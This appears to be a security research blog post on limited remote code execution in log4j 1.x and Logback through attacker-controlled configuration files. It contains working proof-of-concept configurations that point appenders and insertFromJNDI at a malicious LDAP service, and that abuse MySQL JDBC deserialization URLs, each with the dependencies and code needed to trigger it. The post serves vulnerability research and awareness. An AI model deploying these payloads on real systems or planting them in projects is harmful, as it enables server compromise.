A Discussion of Limited RCE in log4j 1.x and Logback

Summary0x01 Preface While following up on Log4j 2, I found several interesting details and recorded them here. 0x02 Is Log4j Never Vulnerable to JNDI Injection? First, a question: is Log4j never vulnerable to JNDI injection? No. I found an interesting exchange in a Log4j 2 pull request. Someone argued that Log4j is vulnerable…

rcelog4j2log4jlogback

0x01 Preface

I found several interesting details while following up on Log4j 2 and am recording them here.

0x02 Is Log4j Never Vulnerable to JNDI Injection?

First, a question:Is Log4j never vulnerable to JNDI injection?

No.

I found an interesting exchange in a Log4j 2 pull request:

1.png

Someone argued that Log4j is vulnerable in the same way as Log4j 2, except that Log4j's attack vector is 'safer.'

because Log4j's entry point is its configuration file, whereas Log4j 2's entry point is user input.

What happens in practice? My tests confirm that modifying Log4j's configuration can create a vulnerability, but the prerequisites are stricter than the pull request suggests.

Case 1 — JMSAppender RCE Through a Log4j Configuration File

First add these Maven dependencies:

TEXT
<dependencies>
    <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>1.2.17</version>
    </dependency>
    <dependency>
        <groupId>org.apache.activemq</groupId>
        <artifactId>activemq-broker</artifactId>
        <version>5.16.3</version>
    </dependency>
</dependencies>

Then create under resources: log4j.properties file with the following content:

TEXT
log4j.rootLogger=INFO, stdout, jms

log4j.logger.org.apache.activemq=INFO, stdout

log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n

log4j.appender.jms=org.apache.log4j.net.JMSAppender
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory
log4j.appender.jms.ProviderURL=tcp://localhost:61616
log4j.appender.jms.TopicBindingName=jmsTest
log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd

Finally create Log4jJMSAppenderTest.java file with the following content:

JAVA
import org.apache.log4j.Logger;
import javax.naming.NamingException;

class Log4jJMSAppenderTest {


    public static void main(String[] args) throws NamingException {
        // The Log4j configuration file is normally loaded automatically; if it is not, uncomment the line below
 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class);
        logger.error("error");
    }
}

The project's primary dependencies are log4j 1.2.17 version, then imported the latest activemq dependency.

Running the main function directly now triggers RCE:

2.png

The principle is simple. Log4j has Appenders, which write event data to destinations such as databases or JMS brokers.

When it detectslog4j.propertiesWhen a specified Appender appears in the configuration, its corresponding logic runs automatically.

For example, suppose we configurelog4j.appender.file=org.apache.log4j.FileAppender, execution entersFileAppender.java in activateOptions method

Configurelog4j.appender.stdout=org.apache.log4j.ConsoleAppender, execution entersConsoleAppender.java inactivateOptionsmethod

The configuration above useslog4j.appender.jms=org.apache.log4j.net.JMSAppender , execution entersJMSAppender.javainactivateOptionsmethod

Set a breakpoint in this method. Debugging shows that it calls lookup method:

3.png

Then in ctx.lookup(name)with our malicious LDAP service URL, thereby triggering RCE.

4.png

Although RCE works here, a class supporting a JMS broker (org.apache.activemq.jndi.ActiveMQInitialContextFactory ) must be present, or an error occurs. If the application and its dependencies contain no JMS broker class, exploitation is highly constrained and impractical.

Is JMSAppender the only exploitable option?

Case 2 — JDBC RCE Through a Log4j Configuration File

Log4j has many Appenders besides JMSAppender, including JDBCAppender.

Likewise, create under resources:log4j.propertiesfile with the following content:

TEXT
log4j.rootLogger=DEBUG,database

log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender
# database address
log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
log4j.appender.database.driver=com.mysql.jdbc.Driver
log4j.appender.database.user=test
log4j.appender.database.password=111111
log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')
#log4j.appender.database.layout=org.apache.log4j.PatternLayout

To make JDBC deserialization testing convenient, add the following Maven dependencies:

TEXT
<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.12</version>
</dependency>

Finally, create test.java file with the following content:

JAVA

import org.apache.log4j.Logger;

public class test {
    public static void main(String[] args) {
        Logger logger = Logger.getLogger(test.class);
        logger.error("error");
    }
}

Run main to trigger RCE directly:

5.png

The principle resembles JMSAppender; execution likewise entersJDBCAppender.java ; only the triggering method isgetConnection(). From there, the flow is the familiar JDBC deserialization process.

This discussion concerns Log4j 1.x, but Log4j 2.15.0 can perform the same operation.

If the configuration file is controllable, there is no need to bypass lookup allowlists and restrictions. RCE can be achieved directly in a manner like the examples above, as Sanmeng previously noted:

TEXT
<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern>
<pattern>${payload}</pattern>

Overall, modifying configuration files is still an impractical technique with limited real-world utility. It applies only to special scenarios and is discussed here for technical interest.

0x03 Low-Impact RCE in Logback

Besides Log4j, another widely used logging component is logbacklogbakcandlog4jwere written by the same person, so I wanted to see whether Logback had a similar issue.

Because Logback is Spring Boot's default logging component, a similar issue could arise more often.

First consider JMSAppender. Unfortunately, JMSTopicAppender was removed after Logback 1.2.2.

6.png

Fortunately, Logback contains an Appender similar to JDBCAppender: DBAppender

DBAppender has aConnectionSourceinterface, which provides a pluggable way for code requiring java.sql.Connection Logback class for obtaining JDBC connections. It currently has three implementations: DriverManagerConnectionSourceDataSourceConnectionSourceand JNDIConnectionSource. Each of the three implementations can be used to achieve RCE.

DriverManagerConnectionSource and DataSourceConnectionSource is similar: both can exploit JDBC deserialization by controlling the JDBC URL.

First create under resources: logback-spring.xml , with the following content

TEXT
<configuration>

    <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">
        <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource">
            <driverClass>com.mysql.jdbc.Driver</driverClass>
            <url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url>
            <user>username</user>
            <password>password</password>
        </connectionSource>
    </appender>

    <root level="DEBUG" >
        <appender-ref ref="DB" />
    </root>
</configuration>

Add two dependencies to the new Spring Boot project's pom.xml:

TEXT
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.12</version>
</dependency>

Then runSpringApplication.run()method, triggering the vulnerability:

7.png

Besides those two, there is also JNDIConnectionSource method. JNDIConnectionSource is built into Logback; as the name suggests, it obtains a javax.sql.DataSource through JNDI and then a java.sql.Connection instance.

For our purposes, this approach is more convenient and requires no other dependencies. The test follows:

Create the following under resources: logback-spring.xml , with the following content

TEXT
<configuration debug="true">
    <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">
        <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">
            <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>
        </connectionSource>
    </appender>
    <root level="DEBUG">
        <appender-ref ref="DB"/>
    </root>
</configuration>

Likewise, runSpringApplication.run()method, triggering the vulnerability:

8.png

Tracing shows that execution ultimately entersJNDIConnectionSource.javaofgetConnectionmethod. If dataSource is null, it setsdataSource = lookupDataSource();

Then inlookupDataSource() triggered in lookup:

9.png

Note that JNDIConnectionSource obtains its javax.naming.InitialContext. This usually works in a J2EE environment, but outside J2EE it additionally requires a jndi.properties configuration file is required.

Besides the method above, another configuration can achieve RCE directly without DBAppender:

TEXT
<configuration>
    <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />


    <root level="DEBUG">
        <appender-ref ref="CONSOLE" />
    </root>
</configuration>

Run the project to achieve RCE:

10.png

Tracing likewise shows that it occurs inInsertFromJNDIAction.javaofbeginmethod calls JNDIUtil.lookup method, thereby triggering the vulnerability:

11.png

JMX can likewise achieve RCE by roughly the same principle, so it is omitted here.

0x04 Closing Notes

The method above is indeed impractical, as the pull request notes:

If an attacker can modify a configuration file on system S, then S can be assumed to be substantially compromised.

There are still plausible scenarios. Logback configuration supports a scan attribute. When configured, scan attribute, the system starts a scan task to monitor the configuration. Changes cause the new file to load automatically. An experiment demonstrating this scenario is available here:https://xz.aliyun.com/t/7351

These techniques may be useless in most situations, but use your imagination and consider where such attack scenarios might arise.

0x05 References

https://github.com/apache/logging-log4j2/pull/608 https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders